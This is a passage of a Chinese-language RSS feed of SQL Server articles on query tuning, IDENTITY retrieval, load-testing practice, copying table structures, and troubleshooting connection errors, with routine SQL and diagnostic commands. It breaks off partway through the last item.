<br/><br/>6.如果没有包含合并子句的索引，那么优化器构造1个工作表以存放合并中最小的表中的行。然后再在这个表上构造1个分簇索引以完成一个高效的合并。这种作法的代价是工作表的生成和随后的分族索引的生成，这个过程叫REFORMATTING。　　所以应该注意RAM中或磁盘上的数据库tempdb的大小(除了Sel&#101;ct INTO语句)。另外，如果这些类型的操作是很常见的，那么把tempdb放在RAM中对于提高性能是很有好处的。 <br/><br/> <br/><br/>4　性能优化的其他考虑 <br/><br/> <br/><br/>上面列出了影响SQL Server的一些主要因素，实际上远不止这些。操作系统的影响也很大，在Windows NT下，文件系统的选择、网络协议、开启的服务、SQL Server的优先级等选项也不同程度上影响了SQL Server的性能。 <br/><br/> <br/><br/>影响性能的因素是如此的多，而应用又各不相同，找出1个通用的优化方案是不现实的，在系统开发和维护的过程中必须针对运行的情况，不断加以调整。事实上，绝大部分的优化和调整工作是在与客户端独立的服务器上进行的，因此也是现实可行的。 <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2545.htm</link>
			<title><![CDATA[五种提高 SQL 性能的方法 ]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 11:16:19 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2545</guid>
		<description><![CDATA[有时， 为了让应用程序运行得更快，所做的全部工作就是在这里或那里做一些很小调整。啊，但关键在于确定如何进行调整！迟早您会遇到这种情况：应用程序中的 SQL 查询不能按照您想要的方式进行响应。它要么不返回数据，要么耗费的时间长得出奇。如果它降低了报告或您的企业应用程序的速度，用户必须等待的时间过长，他们就会很不满意。就像您的父母不想听您解释为什么在深更半夜才回来一样，用户也不会听你解释为什么查询耗费这么长时间。（“对不起，妈妈，我使用了太多的 LEFT JOIN。”）用户希望应用程序响应迅速，他们的报告能够在瞬间之内返回分析数据。就我自己而言，如果在 Web 上冲浪时某个页面要耗费十多秒才能加载（好吧，五秒更实际一些），我也会很不耐烦。<br/><br/>为了解决这些问题，重要的是找到问题的根源。那么，从哪里开始呢？根本原因通常在于数据库设计和访问它的查询。在本月的专栏中，我将讲述四项技术，这些技术可用于提高基于 SQL Server? 的应用程序的性能或改善其可伸缩性。我将仔细说明 LEFT JOIN、CROSS JOIN 的使用以及 IDENTITY 值的检索。请记住，根本没有神奇的解决方案。调整您的数据库及其查询需要占用时间、进行分析，还需要大量的测试。这些技术都已被证明行之有效，但对您的应用程序而言，可能其中一些技术比另一些技术更适用。<br/><br/><br/><br/>从 Ins&#101;rt 返回 IDENTITY <br/>我决定从遇到许多问题的内容入手：如何在执行 SQL Ins&#101;rt 后检索 IDENTITY 值。通常，问题不在于如何编写检索值的查询，而在于在哪里以及何时进行检索。在 SQL Server 中，下面的语句可用于检索由最新在活动数据库连接上运行的 SQL 语句所创建的 IDENTITY 值：<br/><br/><br/><br/>CODE:<br/>Sel&#101;ct @@IDENTITY<br/>[Copy to clipboard]<br/><br/>这个 SQL 语句并不复杂，但需要记住的一点是：如果这个最新的 SQL 语句不是 Ins&#101;rt，或者您针对非 Ins&#101;rt SQL 的其他连接运行了此 SQL，则不会获得期望的值。您必须运行下列代码才能检索紧跟在 Ins&#101;rt SQL 之后且位于同一连接上的 IDENTITY，如下所示：<br/><br/><br/>CODE:<br/>Ins&#101;rt INTO Products (ProductName) VALUES (&#39;Chalk&#39;)<br/><br/>Sel&#101;ct @@IDENTITY<br/>[Copy to clipboard]<br/><br/>在一个连接上针对 Northwind 数据库运行这些查询将返回一个名称为 Chalk 的新产品的 IDENTITY 值。所以，在使用 ADO 的 Visual Basic? 应用程序中，可以运行以下语句：<br/><br/><br/>CODE:<br/>Set o&#114;s = oCn.Execute(&#34;SET NOCOUNT ON;Ins&#101;rt INTO Products _<br/>(ProductName) VALUES (&#39;Chalk&#39;);Sel&#101;ct @@IDENTITY&#34;)<br/><br/>lProductID = o&#114;s(0)<br/>[Copy to clipboard]<br/><br/>此代码告诉 SQL Server 不要返回查询的行计数，然后执行 Ins&#101;rt 语句，并返回刚刚为这个新行创建的 IDENTITY 值。SET NOCOUNT ON 语句表示返回的记录集有一行和一列，其中包含了这个新的 IDENTITY 值。如果没有此语句，则会首先返回一个空的记录集（因为 Ins&#101;rt 语句不返回任何数据），然后会返回第二个记录集，第二个记录集中包含 IDENTITY 值。这可能有些令人困惑，尤其是因为您从来就没有希望过 Ins&#101;rt 会返回记录集。之所以会发生此情况，是因为 SQL Server 看到了这个行计数（即一行受到影响）并将其解释为表示一个记录集。因此，真正的数据被推回到了第二个记录集。当然您可以使用 ADO 中的 NextRecordset 方法获取此第二个记录集，但如果总能够首先返回该记录集且只返回该记录集，则会更方便，也更有效率。<br/><br/>此方法虽然有效，但需要在 SQL 语句中额外添加一些代码。获得相同结果的另一方法是在 Ins&#101;rt 之前使用 SET NOCOUNT ON 语句，并将 Sel&#101;ct @@IDENTITY 语句放在表中的 FOR Ins&#101;rt 触发器中，如下面的代码片段所示。这样，任何进入该表的 Ins&#101;rt 语句都将自动返回 IDENTITY 值。<br/><br/><br/>CODE:<br/>Cr&#101;ate TRIGGER trProducts_Ins&#101;rt ON Products FOR Ins&#101;rt AS <br/>&nbsp;&nbsp;Sel&#101;ct @@IDENTITY <br/>GO<br/>[Copy to clipboard]<br/><br/><br/>触发器只在 Products 表上发生 Ins&#101;rt 时启动，所以它总是会在成功 Ins&#101;rt 之后返回一个 IDENTITY。使用此技术，您可以始终以相同的方式在应用程序中检索 IDENTITY 值。<br/><br/><br/>内嵌视图与临时表 <br/>某些时候，查询需要将数据与其他一些可能只能通过执行 GROUP BY 然后执行标准查询才能收集的数据进行联接。例如，如果要查询最新五个定单的有关信息，您首先需要知道是哪些定单。这可以使用返回定单 ID 的 SQL 查询来检索。此数据就会存储在临时表（这是一个常用技术）中，然后与 Products 表进行联接，以返回这些定单售出的产品数量：<br/><br/><br/>CODE:<br/>Cr&#101;ate TABLE #Temp1 (OrderID INT NOT NULL, _<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;o&#114;derDate DATETIME NOT NULL)<br/><br/>Ins&#101;rt INTO #Temp1 (OrderID, o&#114;derDate)<br/>Sel&#101;ct&nbsp;&nbsp; TOP 5 o.OrderID, o.OrderDate<br/>FROM o&#114;ders o o&#114;DER BY o.OrderDate DESC<br/><br/>Sel&#101;ct&nbsp;&nbsp; p.ProductName, SUM(od.Quantity) AS ProductQuantity<br/>FROM&nbsp;&nbsp; #Temp1 t <br/>&nbsp;&nbsp;INNER JOIN [Order Details] od ON t.OrderID = od.OrderID<br/>&nbsp;&nbsp;INNER JOIN Products p ON od.ProductID = p.ProductID <br/>GROUP BY p.ProductName<br/>o&#114;DER BY p.ProductName<br/><br/>Dro&#112; TABLE #Temp1<br/>[Copy to clipboard]<br/><br/>这些 SQL 语句会创建一个临时表，将数据插入该表中，将其他数据与该表进行联接，然后除去该临时表。这会导致此查询进行大量 I/O 操作，因此，可以重新编写查询，使用内嵌视图取代临时表。内嵌视图只是一个可以联接到 FROM 子句中的查询。所以，您不用在 tempdb 中的临时表上耗费大量 I/O 和磁盘访问，而可以使用内嵌视图得到同样的结果：<br/><br/><br/>CODE:<br/>Sel&#101;ct p.ProductName, <br/>&nbsp;&nbsp;SUM(od.Quantity) AS ProductQuantity<br/>FROM&nbsp;&nbsp; (<br/>&nbsp;&nbsp;Sel&#101;ct TOP 5 o.OrderID, o.OrderDate<br/>&nbsp;&nbsp;FROM&nbsp;&nbsp; o&#114;ders o <br/>&nbsp;&nbsp;o&#114;DER BY o.OrderDate DESC<br/>&nbsp;&nbsp;) t <br/>&nbsp;&nbsp;INNER JOIN [Order Details] od ON t.OrderID = od.OrderID<br/>&nbsp;&nbsp;INNER JOIN Products p ON od.ProductID = p.ProductID <br/>GROUP BY<br/>&nbsp;&nbsp;p.ProductName<br/>o&#114;DER BY<br/>&nbsp;&nbsp;p.ProductName<br/>[Copy to clipboard]<br/><br/>此查询不仅比前面的查询效率更高，而且长度更短。临时表会消耗大量资源。如果只需要将数据联接到其他查询，则可以试试使用内嵌视图，以节省资源。<br/><br/><br/>避免 LEFT JOIN 和 NULL <br/>当然，有很多时候您需要执行 LEFT JOIN 和使用 NULL 值。但是，它们并不适用于所有情况。改变 SQL 查询的构建方式可能会产生将一个花几分钟运行的报告缩短到只花几秒钟这样的天壤之别的效果。有时，必须在查询中调整数据的形态，使之适应应用程序所要求的显示方式。虽然 TABLE 数据类型会减少大量占用资源的情况，但在查询中还有许多区域可以进行优化。SQL 的一个有价值的常用功能是 LEFT JOIN。它可以用于检索第一个表中的所有行、第二个表中所有匹配的行、以及第二个表中与第一个表不匹配的所有行。例如，如果希望返回每个客户及其定单，使用 LEFT JOIN 则可以显示有定单和没有定单的客户。<br/><br/>此工具可能会被过度使用。LEFT JOIN 消耗的资源非常之多，因为它们包含与 NULL（不存在）数据匹配的数据。在某些情况下，这是不可避免的，但是代价可能非常高。LEFT JOIN 比 INNER JOIN 消耗资源更多，所以如果您可以重新编写查询以使得该查询不使用任何 LEFT JOIN，则会得到非常可观的回报（请参阅图 1 中的图）。<br/><br/><br/><br/>图 1：查询<br/><br/><br/>加快使用 LEFT JOIN 的查询速度的一项技术涉及创建一个 TABLE 数据类型，插入第一个表（LEFT JOIN 左侧的表）中的所有行，然后使用第二个表中的值更新 TABLE 数据类型。此技术是一个两步的过程，但与标准的 LEFT JOIN 相比，可以节省大量时间。一个很好的规则是尝试各种不同的技术并记录每种技术所需的时间，直到获得用于您的应用程序的执行性能最佳的查询。<br/><br/>测试查询的速度时，有必要多次运行此查询，然后取一个平均值。因为查询（或存储过程）可能会存储在 SQL Server 内存中的过程缓存中，因此第一次尝试耗费的时间好像稍长一些，而所有后续尝试耗费的时间都较短。另外，运行您的查询时，可能正在针对相同的表运行其他查询。当其他查询锁定和解锁这些表时，可能会导致您的查询要排队等待。例如，如果您进行查询时某人正在更新此表中的数据，则在更新提交时您的查询可能需要耗费更长时间来执行。<br/><br/>避免使用 LEFT JOIN 时速度降低的最简单方法是尽可能多地围绕它们设计数据库。例如，假设某一产品可能具有类别也可能没有类别。如果 Products 表存储了其类别的 ID，而没有用于某个特定产品的类别，则您可以在字段中存储 NULL 值。然后您必须执行 LEFT JOIN 来获取所有产品及其类别。您可以创建一个值为“No Category”的类别，从而指定外键关系不允许 NULL 值。通过执行上述操作，现在您就可以使用 INNER JOIN 检索所有产品及其类别了。虽然这看起来好像是一个带有多余数据的变通方法，但可能是一个很有价值的技术，因为它可以消除 SQL 批处理语句中消耗资源较多的 LEFT JOIN。在数据库中全部使用此概念可以为您节省大量的处理时间。请记住，对于您的用户而言，即使几秒钟的时间也非常重要，因为当您有许多用户正在访问同一个联机数据库应用程序时，这几秒钟实际上的意义会非常重大。 <br/><br/><br/>灵活使用笛卡尔乘积 <br/>对于此技巧，我将进行非常详细的介绍，并提倡在某些情况下使用笛卡尔乘积。出于某些原因，笛卡尔乘积 (CROSS JOIN) 遭到了很多谴责，开发人员通常会被警告根本就不要使用它们。在许多情况下，它们消耗的资源太多，从而无法高效使用。但是像 SQL 中的任何工具一样，如果正确使用，它们也会很有价值。例如，如果您想运行一个返回每月数据（即使某一特定月份客户没有定单也要返回）的查询，您就可以很方便地使用笛卡尔乘积。 图 2 （ <br/>CODE:<br/><a href="http://www.microsoft.com/china/MSDN/library/data/sqlserver/art/figures3.html" target="_blank" rel="external">http://www.microsoft.com/china/MSDN/library/data/sqlserver/art/figures3.html</a><br/>[Copy to clipboard]<br/>） 中的 SQL 就执行了上述操作。<br/><br/>虽然这看起来好像没什么神奇的，但是请考虑一下，如果您从客户到定单（这些定单按月份进行分组并对销售额进行小计）进行了标准的 INNER JOIN，则只会获得客户有定单的月份。因此，对于客户未订购任何产品的月份，您不会获得 0 值。如果您想为每个客户都绘制一个图，以显示每个月和该月销售额，则可能希望此图包括月销售额为 0 的月份，以便直观标识出这些月份。如果使用 图 2 中的 SQL，数据则会跳过销售额为 0 美元的月份，因为在定单表中对于零销售额不会包含任何行（假设您只存储发生的事件）。<br/><br/>图 3 （<a href="http://www.microsoft.com/china/MSDN/library/data/sqlserver/art/figures3.html" target="_blank" rel="external">http://www.microsoft.com/china/MSDN/library/data/sqlserver/art/figures3.html</a>）中的代码虽然较长，但是可以达到获取所有销售数据（甚至包括没有销售额的月份）的目标。首先，它会提取去年所有月份的列表，然后将它们放入第一个 TABLE 数据类型表 (@tblMonths) 中。下一步，此代码会获取在该时间段内有销售额的所有客户公司的名称列表，然后将它们放入另一个 TABLE 数据类型表 (@tblCus-tomers) 中。这两个表存储了创建结果集所必需的所有基本数据，但实际销售数量除外。 第一个表中列出了所有月份（12 行），第二个表中列出了这个时间段内有销售额的所有客户（对于我是 81 个）。并非每个客户在过去 12 个月中的每个月都购买了产品，所以，执行 INNER JOIN 或 LEFT JOIN 不会返回每个月的每个客户。这些操作只会返回购买产品的客户和月份。<br/><br/>笛卡尔乘积则可以返回所有月份的所有客户。笛卡尔乘积基本上是将第一个表与第二个表相乘，生成一个行集合，其中包含第一个表中的行数与第二个表中的行数相乘的结果。因此，笛卡尔乘积会向表 @tblFinal 返回 972 行。最后的步骤是使用此日期范围内每个客户的月销售额总计更新 @tblFinal 表，以及选择最终的行集。<br/><br/>如果由于笛卡尔乘积占用的资源可能会很多，而不需要真正的笛卡尔乘积，则可以谨慎地使用 CROSS JOIN。例如，如果对产品和类别执行了 CROSS JOIN，然后使用 Wh&#101;re 子句、DISTINCT 或 GROUP BY 来筛选出大多数行，那么使用 INNER JOIN 会获得同样的结果，而且效率高得多。如果需要为所有的可能性都返回数据（例如在您希望使用每月销售日期填充一个图表时），则笛卡尔乘积可能会非常有帮助。但是，您不应该将它们用于其他用途，因为在大多数方案中 INNER JOIN 的效率要高得多。<br/><br/><br/>拾遗补零 <br/>这里介绍其他一些可帮助提高 SQL 查询效率的常用技术。假设您将按区域对所有销售人员进行分组并将他们的销售额进行小计，但是您只想要那些数据库中标记为处于活动状态的销售人员。您可以按区域对销售人员分组，并使用 HAVING 子句消除那些未处于活动状态的销售人员，也可以在 Wh&#101;re 子句中执行此操作。在 Wh&#101;re 子句中执行此操作会减少需要分组的行数，所以比在 HAVING 子句中执行此操作效率更高。HAVING 子句中基于行的条件的筛选会强制查询对那些在 Wh&#101;re 子句中会被去除的数据进行分组。<br/><br/>另一个提高效率的技巧是使用 DISTINCT 关键字查找数据行的单独报表，来代替使用 GROUP BY 子句。在这种情况下，使用 DISTINCT 关键字的 SQL 效率更高。请在需要计算聚合函数（SUM、COUNT、MAX 等）的情况下再使用 GROUP BY。另外，如果您的查询总是自己返回一个唯一的行，则不要使用 DISTINCT 关键字。在这种情况下，DISTINCT 关键字只会增加系统开销。<br/><br/>您已经看到了，有大量技术都可用于优化查询和实现特定的业务规则，技巧就是进行一些尝试，然后比较它们的性能。最重要的是要测试、测试、再测试。在此专栏的将来各期内容中，我将继续深入讲述 SQL Server 概念，包括数据库设计、好的索引实践以及 SQL Server 安全范例。<br/><br/>英文原版链接： <a href="http://msdn.microsoft.com/library/default.asp?url=/msdnmag/issues/02/07/datapoints/toc.asp" target="_blank" rel="external">http://msdn.microsoft.com/library/default.asp?url=/msdnmag/issues/02/07/datapoints/toc.asp</a><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2544.htm</link>
			<title><![CDATA[负载测试性能调整魔法棒 ]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 11:12:30 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2544</guid>
		<description><![CDATA[没有什么事情比这更糟了，采纳一个新的应用程序，而它的性能是如此的糟糕，导致业务在一片惊叫声中暂停。这并不是新出现的现象；这就是事实，我经常遇到这样的事实。我打赌你也曾经经历过。那么如何防止这些性能问题，有什么解决方案？ <br/><br/> <br/><br/>在这些应用程序“在惊叫声中暂停”的情况中，应用程序通常都已经在按照功能性分配的短暂的测试时间内进行过适当的测试了。但是充分吗？由于竞争和全球经济的原因，迅速应用于业务意味着只进行了最小化的测试。同样，最小化的测试也成为按时将应用程序发布给用户群体的可接受的风险之一。另一点需要注意的是，负载测试太贵了，所以修正产品问题的成本也是也通常是比较小的——至少在发布应用程序的时候它不会妨碍进展和创新性，对不对？ <br/><br/> <br/><br/>不幸的是，我具有相反的经历：企业为运行得极其糟糕的应用程序所付出的有形的和无形的代价超过了采用可靠的负载测试方法在人力、程序，以及技术上面的投资。因此，我愿意提供以下对你的应用程序进行负载测试的清单，它将会成为防止你的SQL Server性能调整问题的魔法弹。 <br/><br/> <br/><br/>清单：负载测试——SQL Server性能调整的魔法棒 <br/><br/> <br/><br/>项目管理 <br/><br/>平衡项目管理方法学，确保项目按照一个确定的过程进行，尽量减少或者避免遗漏步骤，包括对每个版本的应用程序进行负载测试。 <br/><br/> <br/><br/>管理层的支持 <br/><br/>在负载测试的需求和收益的基础上与IT经理们合作。获得他们对正确分配时间为每个应用程序进行负载测试的支持。 <br/><br/> <br/><br/>性能需求 <br/><br/>了解系统应该支持的用户、事务、数据集和可接收的处理时间等信息。如果这些信息没法确定，与企业进行沟通，了解在现有的硬件和软件基础上，应用程序的生命周期中能够支持多少用户。 <br/><br/> <br/><br/>用户期望 <br/><br/>确定用户和业务期望——为了保证应用程序正确运行，需要进行功能性和负载的测试。 <br/><br/> <br/><br/>任务时间表 <br/><br/>按照你的团队具有的严格意义上的资源，计算完成这些负载测试和代码检查任务所需的时间，在你的项目计划中，为其安排充分的时间。 <br/><br/> <br/><br/>负载测试工具 <br/><br/>对你要用来进行负载测试的工具进行标准化。以下是一个简短的列表，如果你对产品不熟悉的话。点击每一条都会进入该工具的说明页。 <br/><br/> <br/><br/>WebLOAD (负载测试) <br/><br/>Web 性能测试工具 <br/><br/>QuotiumPRO <br/><br/>Empirix e-Load <br/><br/>Quest Benchmark Factory for Databases <br/><br/>Mercury LoadRunner <br/><br/>Knowledgestorm <br/><br/>Scandiasoft DbValidator <br/><br/>WAPT 3.0 <br/><br/>OpenLoad <br/><br/>负载测试过程 <br/><br/>将你的应用程序负载测试过程标准化，建立文档模板，对测试过程的流线进行编码，同时记录应用程序涉及的结果。考虑在软件版本的基础上采用迭代的方式。 <br/><br/> <br/><br/>代码检查 <br/><br/>所有的代码都会让开发人员和数据库管理员进行测试，以确认明显的功能，但是还要安排第二个人来进行测试。如果你没有预算请一位全职或者兼职的测试人员的话，那么可以考虑让开发团队互相检查。如果你有测试人员的预算，那么就让你的团队一起来为应用程序增加负载吧。 <br/><br/> <br/><br/>将负载测试过程流水线化 <br/><br/>当应用程序发布为产品时确定一些对系统性能起作用的因素，然后将其用在每一次的应用程序发布版本上。 <br/><br/> <br/><br/>需要进行负载测试的时候进行负载测试 <br/><br/>虽然对每个应用程序都进行负载测试是很好的，但是成本通常是有限的。因此，从那些出现过性能问题的单个应用程序开始，并且从这个应用程序中吸取教训。将知识扩展开来，在你的企业中创建一个最好的实践指南，以此在应用程序的开发阶段防止性能问题的出现，这也会负载测试过程流水线化。 <br/><br/> <br/><br/>通过各种方式，避免将性能问题引入产品环境中。实际情况是，不能每个场景都经过测试，但是可以定位你的应用程序中的核心内容，并且随着你的经验积累而日益提高。考虑将上面的清单作为进行负载测试的开始点，并且与你的团队讨论一下什么选项可以获得高性能。你在负载测试方面有什么经验？告诉我，然后调整状态，准备阅读下一部分的SQL Server性能调整贴士，我们将会提供更多本领域的观察报告，并且简单推荐可能改善整体系统性能的方法。 <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2543.htm</link>
			<title><![CDATA[复制表结构到一个指定表]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 11:10:20 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2543</guid>
		<description><![CDATA[问:请问专家，如何复制其它表的结构到一指定的表中去，比如以下的例子: <br/><br/>　　有如下三个表:<br/><br/>　　表A:字段1, 字段2, 字段3<br/><br/>　　表B:字段1, 字段2, 字段3<br/><br/>　　表C:字段1, 字段2, 字段3<br/><br/>　　现在想复制A表的字段1,B表的字段2,C表的字段3到表4中去。不需要表中的数据。<br/><br/>　　用SQL语句应如何实现呢?<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;答：其实，这里需要考虑一个问题，所到的指定表是不是空表？所以，我们有以下两种情况分别说说：&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*table4不存在时*/<br/><br/>sel&#101;ct a.col1, b.col2, c.col3<br/>into table4<br/>from tableA a, tableB b, tableC c<br/>wh&#101;re 1 = 0<br/> <br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;但是，一旦表4已经存在的话，会报错。如果是想在表4中增加这几个字段，但这些字段的数据不需要添加到表4中来 sel&#101;ct<br/>&nbsp;&nbsp;&nbsp;&nbsp;*<br/>into 表5<br/>from<br/>&nbsp;&nbsp;&nbsp;&nbsp;表4 m<br/>left join<br/>&nbsp;&nbsp;&nbsp;&nbsp;(sel&#101;ct a.字段1,b.字段2,c.字段3 from 表A a,表B b,表C c wh&#101;re 1&lt;&gt;1) n<br/>on<br/>&nbsp;&nbsp;&nbsp;&nbsp;1=1<br/><br/>dro&#112; table 表4<br/><br/>exec sp_rename &#39;表5&#39;,&#39;表4&#39;<br/><br/> <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2542.htm</link>
			<title><![CDATA[SQL Server连接中的三个最常见错误 ]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 11:09:50 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2542</guid>
		<description><![CDATA[一.&#34;SQL Server 不存在或访问被拒绝&#34; <br/><br/>这个是最复杂的,错误发生的原因比较多,需要检查的方面也比较多. <br/><br/>一般说来,有以下几种可能性: <br/><br/>1,SQL Server名称或IP地址拼写有误 <br/><br/>2,服务器端网络配置有误 <br/><br/>3,客户端网络配置有误 <br/><br/>要解决这个问题,我们一般要遵循以下的步骤来一步步找出导致错误的原因. <br/><br/>============= 首先,检查网络物理连接 ============= <br/><br/>ping &lt;服务器IP地址/服务器名称&gt; <br/><br/>如果 ping &lt;服务器IP地址&gt; 不成功,说明物理连接有问题,这时候要检查硬件设备,如网卡,HUB,路由器等. <br/><br/>还有一种可能是由于客户端和服务器之间安装有防火墙软件造成的,比如 ISA Server.防火墙软件可能会屏蔽对 ping,telnet 等的响应 <br/><br/>因此在检查连接问题的时候,我们要先把防火墙软件暂时关闭,或者打开所有被封闭的端口. <br/><br/>如果ping &lt;服务器IP地址&gt; 成功而,ping &lt;服务器名称&gt; 失败 <br/><br/>则说明名字解析有问题,这时候要检查 DNS 服务是否正常. <br/><br/>有时候客户端和服务器不在同一个局域网里面,这时候很可能无法直接使用服务器名称来标识该服务器,这时候我们可以使用HOSTS文件来进行名字解析, <br/><br/>具体的方法是: <br/><br/>1.使用记事本打开HOSTS文件（一般情况下位于C:\WINNT\system32\drivers\etc）. <br/><br/>添加一条IP地址与服务器名称的对应记录,如: <br/><br/>172.168.10.24 myserver <br/><br/>2.或在 SQL Server 的客户端网络实用工具里面进行配置,后面会有详细说明. <br/><br/>============= 其次,使用 telnet 命令检查SQL Server服务器工作状态 ============= <br/><br/>telnet &lt;服务器IP地址&gt; 1433 <br/><br/>如果命令执行成功,可以看到屏幕一闪之后光标在左上角不停闪动,这说明 SQL Server 服务器工作正常,并且正在监听1433端口的 TCP/IP 连接 <br/><br/>如果命令返回&#34;无法打开连接&#34;的错误信息,则说明服务器端没有启动 SQL Server 服务, <br/><br/>也可能服务器端没启用 TCP/IP 协议,或者服务器端没有在 SQL Server 默认的端口1433上监听. <br/><br/>=============接着,我们要到服务器上检查服务器端的网络配置,检查是否启用了命名管道.是否启用了 TCP/IP 协议等等 ============= <br/><br/>可以利用 SQL Server 自带的服务器网络使用工具来进行检查. <br/><br/>点击:程序 -- Microsoft SQL Server -- 服务器网络使用工具 <br/><br/>打开该工具后,在&#34;常规&#34;中可以看到服务器启用了哪些协议. <br/><br/>一般而言,我们启用命名管道以及 TCP/IP 协议. <br/><br/>点中 TCP/IP 协议,选择&#34;属性&#34;,我们可以来检查 SQK Server 服务默认端口的设置 <br/><br/>一般而言,我们使用 SQL Server 默认的1433端口.如果选中&#34;隐藏服务器&#34;,则意味着客户端无法通过枚举服务器来看到这台服务器,起到了保护的作用,但不影响连接. <br/><br/>============= 接下来我们要到客户端检查客户端的网络配置 ============= <br/><br/>我们同样可以利用 SQL Server 自带的客户端网络使用工具来进行检查, <br/><br/>所不同的是这次是在客户端来运行这个工具. <br/><br/>点击:程序 -- Microsoft SQL Server -- 客户端网络使用工具 <br/><br/>打开该工具后,在&#34;常规&#34;项中,可以看到客户端启用了哪些协议. <br/><br/>一般而言,我们同样需要启用命名管道以及 TCP/IP 协议. <br/><br/>点击 TCP/IP 协议,选择&#34;属性&#34;,可以检查客户端默认连接端口的设置,该端口必须与服务器一致. <br/><br/>单击&#34;别名&#34;选项卡,还可以为服务器配置别名.服务器的别名是用来连接的名称, <br/><br/>连接参数中的服务器是真正的服务器名称,两者可以相同或不同.别名的设置与使用HOSTS文件有相似之处. <br/><br/>通过以上几个方面的检查,基本上可以排除第一种错误. <br/><br/>二.&#34;无法连接到服务器,用户xxx登陆失败&#34; <br/><br/>该错误产生的原因是由于SQL Server使用了&#34;仅 Windows&#34;的身份验证方式, <br/><br/>因此用户无法使用SQL Server的登录帐户（如 sa ）进行连接.解决方法如下所示: <br/><br/>1.在服务器端使用企业管理器,并且选择&#34;使用 Windows 身份验证&#34;连接上 SQL Server <br/><br/>2.展开&#34;SQL Server组&#34;,鼠标右键点击SQL Server服务器的名称,选择&#34;属性&#34;,再选择&#34;安全性&#34;选项卡 <br/><br/>3.在&#34;身份验证&#34;下,选择&#34;SQL Server和 Windows &#34;. <br/><br/>4.重新启动SQL Server服务. <br/><br/>在以上解决方法中,如果在第 1 步中使用&#34;使用 Windows 身份验证&#34;连接 SQL Server 失败, <br/><br/>那就通过修改注册表来解决此问题: <br/><br/>1.点击&#34;开始&#34;-&#34;运行&#34;,输入regedit,回车进入注册表编辑器 <br/><br/>2.依次展开注册表项,浏览到以下注册表键: <br/><br/>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer] <br/><br/>3.在屏幕右方找到名称&#34;LoginMode&#34;,双击编辑双字节值 <br/><br/>4.将原值从1改为2,点击&#34;确定&#34; <br/><br/>5.关闭注册表编辑器 <br/><br/>6.重新启动SQL Server服务. <br/><br/>此时,用户可以成功地使用sa在企业管理器中新建SQL Server注册, <br/><br/>但是仍然无法使用Windows身份验证模式来连接SQL Server. <br/><br/>这是因为在 SQL Server 中有两个缺省的登录帐户: <br/><br/>BUILTIN\Administrators <br/><br/>&lt;机器名&gt;\Administrator 被删除. <br/><br/>要恢复这两个帐户,可以使用以下的方法: <br/><br/>1.打开企业管理器,展开服务器组,然后展开服务器 <br/><br/>2.展开&#34;安全性&#34;,右击&#34;登录&#34;,然后单击&#34;新建登录&#34; <br/><br/>3.在&#34;名称&#34;框中,输入 BUILTIN\Administrators <br/><br/>4.在&#34;服务器角色&#34;选项卡中,选择&#34;System Administrators&#34; <br/><br/>5.点击&#34;确定&#34;退出 <br/><br/>6.使用同样方法添加 &lt;机器名&gt;\Administrator 登录. <br/><br/>说明: <br/><br/>以下注册表键: <br/><br/>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\LoginMode <br/><br/>的值决定了SQL Server将采取何种身份验证模式. <br/><br/>1.表示使用&#34;Windows 身份验证&#34;模式 <br/><br/>2.表示使用混合模式（Windows 身份验证和 SQL Server 身份验证）. <br/><br/>三.提示连接超时 <br/><br/>如果遇到第三个错误,一般而言表示客户端已经找到了这台服务器,并且可以进行连接, <br/><br/>不过是由于连接的时间大于允许的时间而导致出错. <br/><br/>这种情况一般会发生在当用户在Internet上运行企业管理器来注册另外一台同样在Internet上的服务器, <br/><br/>并且是慢速连接时,有可能会导致以上的超时错误.有些情况下,由于局域网的网络问题,也会导致这样的错误. <br/><br/>要解决这样的错误,可以修改客户端的连接超时设置. <br/><br/>默认情况下,通过企业管理器注册另外一台SQL Server的超时设置是 4 秒, <br/><br/>而查询分析器是 15 秒（这也是为什么在企业管理器里发生错误的可能性比较大的原因）. <br/><br/>具体步骤为: <br/><br/>企业管理器中的设置: <br/><br/>1.在企业管理器中,选择菜单上的&#34;工具&#34;,再选择&#34;选项&#34; <br/><br/>2.在弹出的&#34;SQL Server企业管理器属性&#34;窗口中,点击&#34;高级&#34;选项卡 <br/><br/>3.在&#34;连接设置&#34;下的&#34;登录超时（秒）&#34;右边的框中输入一个比较大的数字,如 20. <br/><br/>查询分析器中的设置: <br/><br/>工具 -- 选项 -- 连接 -- 将登录超时设置为一个较大的数字 <br/><br/>连接超时改为0 <br/><br/>1、先保证ping通 <br/><br/>2、在dos下写入telnet ip 1433不会报错 <br/><br/>3、用ip连如企业管理器： <br/><br/>企业管理器--&gt;右键SQlserver组--&gt;新建sqlserver注册--&gt;下一步--&gt;写入远程实例名（IP,机器名）--&gt;下一步--&gt;选Sqlserver登陆--&gt;下一步--&gt;写入登陆名与密码（sa,pass）--&gt;下一步--&gt;下一步--&gt;完成 <br/><br/>4、如果还不行： 